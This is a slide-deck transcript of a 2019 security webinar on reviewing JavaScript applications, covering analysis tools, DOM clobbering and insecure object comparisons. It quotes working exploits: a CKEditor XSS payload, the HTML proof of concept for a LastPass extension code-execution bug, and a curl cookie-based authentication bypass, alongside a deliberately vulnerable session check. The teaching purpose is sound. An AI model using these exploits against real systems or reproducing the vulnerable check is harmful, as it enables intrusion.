Webinar–Reviewing Modern JavaScript Applications
0 likes210 views
The document discusses modern JavaScript application security, emphasizing the importance of understanding framework vulnerabilities, developer tools for security analysis, and managing known issues in JavaScript libraries. It highlights real-life examples of security flaws, such as cross-site scripting and DOM clobbering, while recommending specific tools like ESLint and npm audit for effective security practices. The conclusion stresses the need for regular code reviews, automated processes, and the use of static analysis tools to enhance application security.
![© 2019 Synopsys, Inc.29
DOM clobbering
<html>
<body>
<form><input name="ownerDocument"></form>
<script>
console.log(document.forms[0].ownerDocument)
// Should return window.document
// Returns <input name="ownerDocument">
</script>
</body>
</html>](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-29-320.jpg)
![© 2019 Synopsys, Inc.32
DOM clobbering
function lp_url_is_lastpass(e) {
if (null == e)
return !1;
var t = /^https://([a-z0-9-]+.)?lastpass.(eu|com)//i
, n = "https://lastpass.com/";
if ("undefined" != typeof base_url && (n = base_url),
0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
return !0;
if ("undefined" != typeof g_loosebasematching) {
var i = lp_gettld_url(e);
return new RegExp(i + "/$").test(base_url)
}
return t.test(e)
}
...
"openattach" == t.eventtype.value ? sendBG({
cmd: "openattach",
attachkey: t.eventdata1.value,
data: t.eventdata2.value,
mimetype: t.eventdata3.value
...
Exploit that achieved remote code execution in LastPass Chrome extension
https://bugs.chromium.org/p/project-zero/issues/detail?id=1225&desc=6
Can be set with:
x = document.createElement("a");
x.setAttribute("id", "base_url");
Can be set defined with
<value id="g_loosebasematching" />
Used to send Remote Procedure Calls (RPC)
leading to RCE](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-32-320.jpg)
![© 2019 Synopsys, Inc.35
Insecure object comparisons
Similar to DOM clobbering, there are many other ways insecure comparisons can happen
const SESSIONS = {}
const mustBeAuthenticated = (req, res, next) => {
if(req.cookies) {
const token = req.cookies.token
if(token && SESSIONS[token]) {
//allow it
next()
}
}
res.send('not authorized!')
}](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-35-320.jpg)
![© 2019 Synopsys, Inc.36
Comparison table
Value Return
SESSIONS['invalidString'] False
SESSIONS[''] False
SESSIONS['constructor'] True
SESSIONS['hasOwnPropery'] True](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-36-320.jpg)
![© 2019 Synopsys, Inc.37
What happens when you create an object in JavaScript?
const test = {}
__proto__:
constructor: ƒ Object()
hasOwnProperty: ƒ hasOwnProperty()
isPrototypeOf: ƒ isProrotypeOf()
[...]
test['constructor'] === test.constructor //returns true](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-37-320.jpg)
![© 2019 Synopsys, Inc.40
SESSIONS.has('__proto__');
// false
SESSIONS.has('validString');
// true
How do we correctly check?
Or you can use a Map instead of an Object
SESSIONS.hasOwnProperty['__proto__']
// false
SESSIONS.hasOwnProperty['validString']
// true](https://image.slidesharecdn.com/owaspsfrvwmodernjavascriptapps-190507173210/85/Webinar-Reviewing-Modern-JavaScript-Applications-40-320.jpg)
Webinar–Reviewing Modern JavaScript Applications
- 1. © 2019 Synopsys, Inc.1 Reviewing Modern JavaScript Applications Lewis Ardern, Senior Security Consultant, Synopsys Software Integrity Group April 29, 2019
- 2. © 2019 Synopsys, Inc.2 About me Senior Security Consultant, Synopsys Software Integrity Group – Consultant at formerly Cigital Prior to Cigital • B.Sc. in computer security and ethical hacking – Founder of the Leeds Ethical Hacking Society • Software developer • Security consultant About Synopsys • Historically all about hardware • Software Integrity Group formed to tackle software • Team consisting of well-known organizations – Black Duck – Coverity – Codenomicon – Cigital – Codiscope twitter.com/LewisArdern Lewis Ardern Senior Consultant Software Integrity Group SIG Consulting
- 3. © 2019 Synopsys, Inc.3 JavaScript landscape
- 4. © 2019 Synopsys, Inc.4 JavaScript landscape • Runs everywhere: browsers, servers, mobile, IoT devices • Lots of frameworks, high levels of abstraction • Move toward safe-by-default frameworks Database MongoDB Server Node.js/Express.js Client Angular
- 5. © 2019 Synopsys, Inc.5 Life as we know it “For the sixth year in a row, JavaScript is the most commonly used programming language.” —2018 Stack Overflow Developer Survey https://insights.stackoverflow.com/survey/2016
- 6. © 2019 Synopsys, Inc.6 Let’s not be REACTive! • Frameworks can offer enormous security benefits at the expense of outpacing existing security tools • It is important to understand the specific security characteristics and guarantees of any framework you deploy • Framework features can sometimes be abused – http://blog.portswigger.net/2017/09/abusing-javascript- frameworks-to-bypass.html • Teams transition / adopt different frameworks in rapid succession
- 7. © 2019 Synopsys, Inc.7 Modern JavaScript analysis Security professionals need to embrace developer tools to effectively identify security issues • Live in the browser console • Debug effectively • Weaponize developer tools to identify security issues • Commercial products (not covered today)
- 8. © 2019 Synopsys, Inc.8 What today’s talk covers Real-life examples from domain-specific experts Recommended tools to use Lesser-known JavaScript bugs
- 9. © 2019 Synopsys, Inc.9 Example 1 • One of the _known_ edge cases with React is that you can provide URI schemes such as `javascript:alert(0)` and get cross-site scripting via an `href` tag • In this HackerOne report, cross-site scripting led to remote code execution due to the steam:// URI used to interact with the steam client https://hackerone.com/reports/409850
- 10. © 2019 Synopsys, Inc.10 Video @zemnmez cross-site scripting against https://steamcommunity.com
- 11. © 2019 Synopsys, Inc.11 What did we see? Using the Chrome Developer Console • Beautifying the code • Searching for functions • Debugging client-side values • Overriding values on the fly inside the console • Backticks to bypass controls Knowledge of React pitfalls https://hackerone.com/reports/409850
- 12. © 2019 Synopsys, Inc.12 Example 2 LiveOverflow’s pop-under RE • Anti-debugging • Various bypass techniques • Deobfuscating JavaScript • Debugging locally • Using proxies • Weird browser quirks https://www.youtube.com/watch?v=8UqHCrGdxOM
- 13. © 2019 Synopsys, Inc.13 Example 3 Gareth Heyes’ AngularJS research • Deep understanding of JavaScript • Auditing framework code • DOM manipulation • Inspecting objects && prototype overriding https://portswigger.net/blog/dom-based-angularjs-sandbox-escapes https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs
- 14. © 2019 Synopsys, Inc.14 Products that perform JavaScript dataflow analysis: • Coverity Scan • LGTM Tools that look for areas of interest: • Tarnish • JSHint • JSLint • ESLint – Code Climate—nodesecurity plugin • TSLint – tslint-angular-security Tools that look for known issues in JavaScript libraries: • Retire.js • npm audit • yarn audit • GitHub • Snyk • auditjs Tools that deobfuscate JavaScript: • Closure Compiler • JStillery • unminify JavaScript analysis tools Referencing only projects that either are open source or scan open source
- 15. © 2019 Synopsys, Inc.15 React https://chrome.google.com/webstore/detail/react-developer- tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en AngularJS https://chrome.google.com/webstore/detail/angularjs- batarang/ighdmehidhipcmcojjgiloacoafjmpfk?hl=en Angular https://augury.rangle.io/ Vue https://github.com/vuejs/vue-devtools Framework analysis browser extensions Just because “production mode is set” doesn’t mean they can’t be used for live apps https://lh3.googleusercontent.com/GjX6Q3_FVJfc0DqE2wiPKkgOfth6otzV-D7GV- wB6sH5_t1oodMaHOBLsYOLeydb85bKWu6X=w640-h400-e365
- 16. © 2019 Synopsys, Inc.16 Known issues in JavaScript libraries Always check for known security issues • GitHub automatically reports security issues • Depending on project type, use tools: Example Command npm npm audit yarn yarn audit bower auditjs --bower bower.json Client-side JavaScript retire --js /path/ Node.js open source snyk test
- 17. © 2019 Synopsys, Inc.17 ESLint • ESLint is an open source pluggable linting utility for JavaScript • Linters parse ASTs to identify code quality and security issues • ESLint was created to allow developers to enforce rules • Can be hooked into the development release cycle – Many developers do not allow code to be pushed with ESLint issues flagged – You can create Git hooks – Can be part of CI/CD pipeline • Allows custom rules to enforce domain specific guidance
- 18. © 2019 Synopsys, Inc.18 ESLint ESLint is now the go-to tool for JavaScript developers https://stateofjs.com/2017/other-tools/
- 19. © 2019 Synopsys, Inc.19 ESLint security rules ESLint can help security consultants look for points of interest Default security rule configs • Node.js https://github.com/nodesecurity/eslint-config-nodesecurity • Vanilla JS https://github.com/mozfreddyb/eslint-config-scanjs • AngularJS https://github.com/LewisArdern/eslint-plugin-angularjs-security-rules • React https://github.com/yannickcr/eslint-plugin-react#list-of-supported-rules Security rules • eslint-plugin-scanjs • eslint-plugin-security • eslint-plugin-react • eslint-plugin-angularjs-security • eslint-plugin-no-wildcard-postmessage • eslint-plugin-no-unsafe-innerhtml • vue/no-v-html • eslint-plugin-prototype-pollution-security-rules
- 20. © 2019 Synopsys, Inc.20 Problem: In AngularJS security assessments, I want to identify problem locations quickly Solution: Create ESLint rules to run on every assessment as a starting point: JavaScript analysis tools for AngularJS https://www.npmjs.com/package/eslint-plugin-angularjs-security-rules
- 21. © 2019 Synopsys, Inc.21 Steps to create a rule 1. Create a test with true positive and false positive 2. Walk the JavaScript AST and identify your requirements 3. Create a rule from the AST output 4. Make sure the test passes
- 22. © 2019 Synopsys, Inc.22 Creating a test
- 23. © 2019 Synopsys, Inc.23 Identifying the requirements
- 24. © 2019 Synopsys, Inc.24 Create the rule
- 25. © 2019 Synopsys, Inc.25 Testing the rules https://blog.appsecco.com/static-analysis-of-client-side-javascript-for-pen-testers-and-bug-bounty-hunters-f1cb1a5d5288 https://github.com/bkimminich/juice-shop
- 26. © 2019 Synopsys, Inc.26 Lesser-known security issues Let’s talk about lesser-known bugs!
- 27. © 2019 Synopsys, Inc.27 DOM clobbering Due to DOM specifications, certain HTML attributes have the ability to create values in JavaScript http://jibbering.com/faq/names http://thespanner.co.uk/2013/05/16/dom-clobbering Attributes can be used to define JavaScript values • id • action • form – input – name This can lead to: • Cross-site scripting (XSS) • Remote code execution (RCE) in browser extensions
- 28. © 2019 Synopsys, Inc.28 DOM clobbering <html> <head> </head> <body> <test id=“value" foooo=“value" action=“exists"><form> <div id=“valueExists" name=“exists"><form> <script> if (value.action !== undefined) { alert('Dom Clobbering’) } if (value.foooo !== undefined) { // Value does not exist } if (valueExists !== undefined) { alert('DOM Clobbering’) } if (valueExists.exists !== undefined) { // Value does not exist } </script> </body> </html>
- 29. © 2019 Synopsys, Inc.29 DOM clobbering <html> <body> <form><input name="ownerDocument"></form> <script> console.log(document.forms[0].ownerDocument) // Should return window.document // Returns <input name="ownerDocument"> </script> </body> </html>
- 30. © 2019 Synopsys, Inc.30 DOM clobbering // Exploit Code From Mario’ talk https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream#34 // Exploit <a href="plugins/preview/preview.html#<svg onload=alert(1)>" id="_cke_htmlToLoad" target="_blank">Click me for dolphins!</a> // Vulnerable Code <script> var doc = document; doc.open(); doc.write(window.opener._cke_htmlToLoad); doc.close; delete window.opener._cke_htmlToLoad </script> Exploit that achieved cross-site scripting in CKEditor https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream#34
- 31. © 2019 Synopsys, Inc.31 Demo DOM clobbering
- 32. © 2019 Synopsys, Inc.32 DOM clobbering function lp_url_is_lastpass(e) { if (null == e) return !1; var t = /^https://([a-z0-9-]+.)?lastpass.(eu|com)//i , n = "https://lastpass.com/"; if ("undefined" != typeof base_url && (n = base_url), 0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/")) return !0; if ("undefined" != typeof g_loosebasematching) { var i = lp_gettld_url(e); return new RegExp(i + "/$").test(base_url) } return t.test(e) } ... "openattach" == t.eventtype.value ? sendBG({ cmd: "openattach", attachkey: t.eventdata1.value, data: t.eventdata2.value, mimetype: t.eventdata3.value ... Exploit that achieved remote code execution in LastPass Chrome extension https://bugs.chromium.org/p/project-zero/issues/detail?id=1225&desc=6 Can be set with: x = document.createElement("a"); x.setAttribute("id", "base_url"); Can be set defined with <value id="g_loosebasematching" /> Used to send Remote Procedure Calls (RPC) leading to RCE
- 33. © 2019 Synopsys, Inc.33 DOM clobbering <html> <head> <script> function start() { x = document.createElement("a"); x.setAttribute("id", "base_url"); x.setAttribute("href", "//" + document.location.hostname); document.body.appendChild(x); exploit.submit(); } </script> </head> <body onload="start()"> <exploit id="g_loosebasematching" /> <form id="exploit" name="lpwebsiteeventform"> <input type="hidden" name="eventtype" value="openattach"> <input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec"> <input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ=="> <input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat"> <form> </body> </html> Exploit that achieved remote code execution in LastPass Chrome extension https://bugs.chromium.org/p/project-zero/issues/detail?id=1225&desc=6
- 34. © 2019 Synopsys, Inc.34 DOM clobbering https://bugs.chromium.org/p/project-zero/issues/attachment?aid=277766&signed_aid=cHmKiER3b1GkZKd_e_0PAA==&inline=1
- 35. © 2019 Synopsys, Inc.35 Insecure object comparisons Similar to DOM clobbering, there are many other ways insecure comparisons can happen const SESSIONS = {} const mustBeAuthenticated = (req, res, next) => { if(req.cookies) { const token = req.cookies.token if(token && SESSIONS[token]) { //allow it next() } } res.send('not authorized!') }
- 36. © 2019 Synopsys, Inc.36 Comparison table Value Return SESSIONS['invalidString'] False SESSIONS[''] False SESSIONS['constructor'] True SESSIONS['hasOwnPropery'] True
- 37. © 2019 Synopsys, Inc.37 What happens when you create an object in JavaScript? const test = {} __proto__: constructor: ƒ Object() hasOwnProperty: ƒ hasOwnProperty() isPrototypeOf: ƒ isProrotypeOf() [...] test['constructor'] === test.constructor //returns true
- 38. © 2019 Synopsys, Inc.38 Exploit • This issue is trivial to exploit • Using curl, we can simply run the following command: – curl https://localhost:9000 -H "Cookie: token=constructor" • Alternatively, we can just set the document.cookie value via the browser
- 39. © 2019 Synopsys, Inc.39 Demo Insecure object comparisons
- 40. © 2019 Synopsys, Inc.40 SESSIONS.has('__proto__'); // false SESSIONS.has('validString'); // true How do we correctly check? Or you can use a Map instead of an Object SESSIONS.hasOwnProperty['__proto__'] // false SESSIONS.hasOwnProperty['validString'] // true
- 41. © 2019 Synopsys, Inc.41 Note on authentication • Use a well-tested library like Passport to do authentication –http://www.passportjs.org/ • If rolling your own, use crypto.timingSafeEqual(a, b) –It provides a safe comparison –Also prevents timing attacks!
- 42. © 2019 Synopsys, Inc.42 Other issues Prototype pollution • https://www.youtube.com/watch?v=LUsiFV3dsK8 • https://github.com/HoLyVieR/prototype-pollution-nsec18 • https://www.slideshare.net/LewisArdern/dangerous-design-patterns-in-one-line • https://github.com/LewisArdern/eslint-plugin-prototype-pollution-security-rules • https://gist.github.com/LewisArdern/db02e6c37b69c7cb4f1059dc9e536923 Mass assignment • https://talks.amanvir.io/forward-js-san-francisco-security-issues-in-modern-javascript-Jan- 2019.pdf • https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet • https://www.npmjs.com/package/mongoose-mass-assign
- 43. © 2019 Synopsys, Inc.43 Summary • Adopt and embrace developer tools to identify security issues • Conduct regular code reviews • Measure and track your code quality and security • Automate the process: – ESLint for code linting and npm audit for dependencies – Various static analysis tools for quality and security – Break your CI build if any issues get flagged
- 44. Thank You Questions? Email: lewis@ardern.io Website: https://ardern.io Twitter: https://twitter.com/LewisArdern GitHub: https://github.com/LewisArdern LinkedIn: https://www.linkedin.com/in/lewis-ardern-83373a40